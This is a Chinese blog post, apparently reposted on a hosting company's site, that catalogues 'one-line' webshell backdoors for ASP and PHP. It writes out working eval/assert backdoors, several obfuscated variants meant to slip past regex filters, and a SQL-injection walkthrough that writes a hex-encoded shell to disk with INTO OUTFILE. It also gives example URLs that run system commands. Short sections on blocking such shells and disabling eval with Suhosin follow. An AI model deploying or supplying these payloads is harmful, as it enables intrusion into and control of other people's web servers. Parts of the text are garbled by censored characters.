溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

常見的一句話muma

發(fā)布時(shí)間:2020-07-19 10:43:58 來源:網(wǎng)絡(luò) 閱讀:3556 作者:Snow狼 欄目:開發(fā)技術(shù)

                         

一句話******原理

<%execute request(“#”)%>是典型的一句話***服務(wù)端代碼,將這個代碼寫入asp文件,就成了一句話***服務(wù)端文件。

仔細(xì)觀察一下<%execute request(“#”)%>這句代碼,括號里的“#”是我們一句話的密碼,我們可以把它改成任意字符,這樣可以避免別人發(fā)現(xiàn)我們的一句話***后,輕松的通過它撿個大便宜,如果我們上傳的一句話代碼為<%execute request(“123456″)%>。那么在客戶端連接文件里要將textarea name=”#”將其改為對應(yīng)的textarea name=“123456”,才能連接成功。

一句話***工作的原理:

將一句話***插入到asp文件中(包括asa.cdx.cer文件),該語句將會作為觸發(fā),接收***者通過客戶端提交的數(shù)據(jù),執(zhí)行并完成相應(yīng)的***操作。

客戶端則用來向服務(wù)端提交控制數(shù)據(jù),提交的數(shù)據(jù)通過服務(wù)端構(gòu)成完整的asp功能語句并執(zhí)行,也就是生成我們所需要的asp***文件。

一句話***能連接成功有兩個前提條件:

一、服務(wù)器端沒有禁止Adodb.Stream組件,因?yàn)槲覀兪褂靡痪湓?**寫入WebShell代碼的條件是服務(wù)器端創(chuàng)建Adodb.Stream組件,如果該組件被禁用的話無法寫入。

二、權(quán)限問題,如果當(dāng)前的虛擬目錄禁止user組或者everyone寫入,同樣不會成功。

如何啟用一句話***攔截功能?

(1)在服務(wù)器 wzxStopKeyWord.ini 文件中,設(shè)置 blockmuma = 1 表示啟用此功能,攔截一句話***。

(2)重啟IIS即可生效。

 

.eval

eval用法:

eval() 函數(shù)把字符串按照 PHP 代碼來計(jì)算。

該字符串必須是合法的 PHP 代碼,且必須以分號結(jié)尾。

如果沒有在代碼字符串中調(diào)用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數(shù)返回 false。

1 <?phpeval($_POST[password]);?>

.assert

Assert用法:

assert這個函數(shù)在php語言中是用來判斷一個表達(dá)式是否成立。返回true or false;

這跟eval()類似。不過eval($code_str)只是執(zhí)行符合php編碼規(guī)范的,assert的用法卻更詳細(xì)一點(diǎn) 。

assert_option()可以用來對assert()進(jìn)行一些約束和控制

默認(rèn)值:

1 2 3 4 5 ASSERT_ACTIVE=1//Assert函數(shù)的開關(guān) ASSERT_WARNING=1//當(dāng)表達(dá)式為false時(shí),是否要輸出警告性的錯誤提示,issue a PHP warning for each failed assertion ASSERT_BAIL=0//是否要中止運(yùn)行;terminate execution on failed assertions ASSERT_QUIET_EVAL=0//是否關(guān)閉錯誤提示,在執(zhí)行表達(dá)式時(shí);disable error_reporting during assertion expression evaluation ASSERT_CALLBACK=(NULL)// 是否啟動回調(diào)函數(shù) user function to call on failed assertions

可以通過以上方法修改assert后門,達(dá)到繞過正則:

1 <?phpassert($_POST[password]);?>

.變形一句話:

1 <?php$_GET['xxoo']($_POST['cmd']);?>

客戶端用菜刀,密碼cmdurltest.php?xxoo=assert

1 <?php$_POST['xxoo']($_POST['cmd']);?>

這個是直接發(fā)post數(shù)據(jù)包就OK。

1 2 3 4 5 6 7 <?php $a=“a”.”s”.”s”.”e”.”r”.”t”; $a($_POST["cmd"]); ?>

1 <?php($_=@$_GET[password]).@$_($_POST[xxoo])?>

利用方法:http://localhost/password.php?password=asstrt

原理就是get傳遞參數(shù)assert然后形成@asserT@($_($_POST[xxoo])

1 <?php$_POST['password']($_POST['cmd']);?

提交post內(nèi)容形成assert,eval。

.通過str_replace替換

$a = str_replace(x,””,”axsxxsxexrxxt”)

最后要形成的是$a = assert

.

1 2 3 <?php @preg_replace(“/[email]/e”,$_POST['h'],”error”); ?>

談?wù)勥@個后門吧,這個是用e修飾符,只需要e所在的位置跟最后的”error”正則匹配正確就會$_POST[‘h’]的內(nèi)容。

那么我們只需要用菜刀<O>h=@assert($_POST[c]);</O>就可以,讓h參數(shù)執(zhí)行。

.

1 2 3 4 5 6 7 <?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php${'_'.$_}['_'](${'_'.$_}['__']);?>

菜刀里寫:http://localhost/2.php?_=assert&__=eval($_POST[‘xxoo’])

密碼:xxoo

原理分析你只需要讓$_拼接打印即可。

.

1 2 3 <?php ($b4dboy=$_POST['1'])&&@preg_replace(‘/ad/e,,'@,.str_rot13(‘riny,).,($b4dboy)','add'); ?>

‘@’.str_rot13(‘riny’)相當(dāng)于@eval,然后你懂的。

其實(shí)大都數(shù)原理都是如此,加了變形,解析后依然是原裝語句eval,assert。

 

在這里順便講一下SQL注入中寫一句話拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 這個語句,下面是一個語句的例子:

SELECT * INTO OUTFILE 'C:\log1.txt'

  這樣就可以把查詢到的數(shù)據(jù)寫入到C盤的log1.txt這個文件里面。利用這個原理我們可以把PHP的一句話***寫到磁盤上從而拿到webshell。

  本地的目標(biāo)站點(diǎn)來實(shí)戰(zhàn)一下,我們的目的是在目標(biāo)的物理路徑D:/WWW/下面生成一個php文件,從而可以使我們用菜刀連接上去

先簡單的判斷是否存在注入漏洞利用, 使用單引號'報(bào)錯, 然后是and 1=1 頁面正常 和 and 1=2 頁面不正常判斷存在sql注入漏洞,現(xiàn)在猜測一下字段數(shù)量。

  order by 3的時(shí)候會出現(xiàn)錯誤,2的時(shí)候正確于是猜測字段2,現(xiàn)在我們通過union查詢語句查詢一下當(dāng)前的用戶是誰。

猜測可能是file權(quán)限,試試寫一下***到網(wǎng)站路徑,***一定要寫16進(jìn)制。下面我們的一句話是 <?php eval($_POST[ximo]); ?>16進(jìn)制

然后菜刀連接即可成功(如有不懂可以聯(lián)系本人,本人將會將最詳細(xì)的指導(dǎo)你,僅限妹子)

 

 

eval函數(shù)簡介與PHP一句話***剖析

一:eval函數(shù)

1.eval() 函數(shù)把字符串按照 PHP 代碼來計(jì)算。

2.該字符串必須是合法的 PHP 代碼,且必須以分號結(jié)尾。

3.如果沒有在代碼字符串中調(diào)用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數(shù)返回 false。

 

二:eval函數(shù)的一般用法

<?php

$string = "beautiful";

$time = "winter";

$str = 'This is a $string $time morning!';

echo $str. "<br />";

eval("\$str = \"$str\";");

echo $str;

?>

輸出

This is a $string $time morning!

This is a beautiful winter morning!

三:eval函數(shù)的特殊用法

eval($_GET["cmd"]);

四:php一句話掛馬的原理

 

1.通過數(shù)據(jù)庫寫馬:

select "<?php eval($_GET['cmd'])'?>" into outfile "D:\\phpStudy\\WWW\\bb.php",不過這個命令是DBweb在同一臺機(jī)器的時(shí)候可以這樣執(zhí)行

2.通過web寫馬

<?php

eval($_GET["cmd"]);

?>

訪問:

http://localhost/aa.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");

查看phpshell信息:

http://localhost/aa.php?cmd=phpinfo();

查看當(dāng)前運(yùn)行的服務(wù)

http://localhost/aa.php?cmd=system("net start");

五:禁用eval函數(shù)

無論是linux服務(wù)器還是windows服務(wù)器,eval命令是非常危險(xiǎn)的

如何禁用eval命令

php.ini中這樣設(shè)置disable_functions =eval是無法禁用eval的,根據(jù)php手冊說明,eval是一個語言構(gòu)造器而不是一個函數(shù)。如果要禁用eval,則需要第三方擴(kuò)展,使用Suhosin

 

linux下安裝:

 

php的安裝就不寫了

 

suhosin的安裝

 

wget http://download.suhosin.org/suhosin-0.9.23.tgz

 

tar zxvf suhosin-0.9.23.tgz

 

cd suhosin-0.9.23

 

/usr/local/php/bin/phpize //這一步不能省

 

./configure --with-php-config=/usr/local/php/bin/php-config //必須在這兒注明php-config所在的絕對路徑。

 

make && make install

 

Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/

 

然后在php.ini中增加一行下列語句。

 

extension=suhosin.so

 

suhosin.executor.disable_eval = on

像以上的一句話***都是比較常見的類型,希望各位補(bǔ)充,也方便大家互相學(xué)習(xí)互相進(jìn)步,共同在網(wǎng)絡(luò)上實(shí)現(xiàn)自己的夢想


向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI